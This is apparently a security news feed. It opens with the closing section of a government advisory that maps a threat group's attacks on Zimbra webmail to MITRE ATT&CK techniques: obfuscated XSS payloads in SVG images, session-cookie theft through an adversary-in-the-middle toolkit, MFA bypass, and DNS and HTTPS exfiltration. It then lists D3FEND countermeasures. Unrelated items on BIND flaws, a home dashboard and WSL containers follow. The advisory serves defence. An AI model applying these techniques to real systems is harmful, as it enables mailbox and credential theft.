<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WorldMonitor holt die Weltlage ins eigene Heimnetz]]></title>
<description><![CDATA[WorldMonitor mit Docker, Lemonade, NPU & Tailscale im Test. So entsteht eine private Informationsfläche mit lokaler KI und Datenimporten.
Der Artikel WorldMonitor holt die Weltlage ins eigene Heimnetz erschien zuerst auf TARNKAPPE.INFO]]></description>
<link>https://tsecurity.de/de/3689397/malware-trojaner-viren/worldmonitor-holt-die-weltlage-ins-eigene-heimnetz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689397/malware-trojaner-viren/worldmonitor-holt-die-weltlage-ins-eigene-heimnetz/</guid>
<pubDate>Thu, 23 Jul 2026 16:51:20 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>WorldMonitor mit Docker, Lemonade, NPU &amp; Tailscale im Test. So entsteht eine private Informationsfläche mit lokaler KI und Datenimporten.</p>
<p>Der Artikel <a href="https://tarnkappe.info/test/worldmonitor-holt-die-weltlage-ins-eigene-heimnetz-331711.html">WorldMonitor holt die Weltlage ins eigene Heimnetz</a> erschien zuerst auf <a href="https://tarnkappe.info/">TARNKAPPE.INFO</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[NEU] [hoch] Internet Systems Consortium BIND: Mehrere Schwachstellen]]></title>
<description><![CDATA[Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Internet Systems Consortium BIND ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.]]></description>
<link>https://tsecurity.de/de/3688696/it-security-nachrichten/neu-hoch-internet-systems-consortium-bind-mehrere-schwachstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688696/it-security-nachrichten/neu-hoch-internet-systems-consortium-bind-mehrere-schwachstellen/</guid>
<pubDate>Thu, 23 Jul 2026 12:26:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Internet Systems Consortium BIND ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.]]></content:encoded>
</item>
<item>
<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



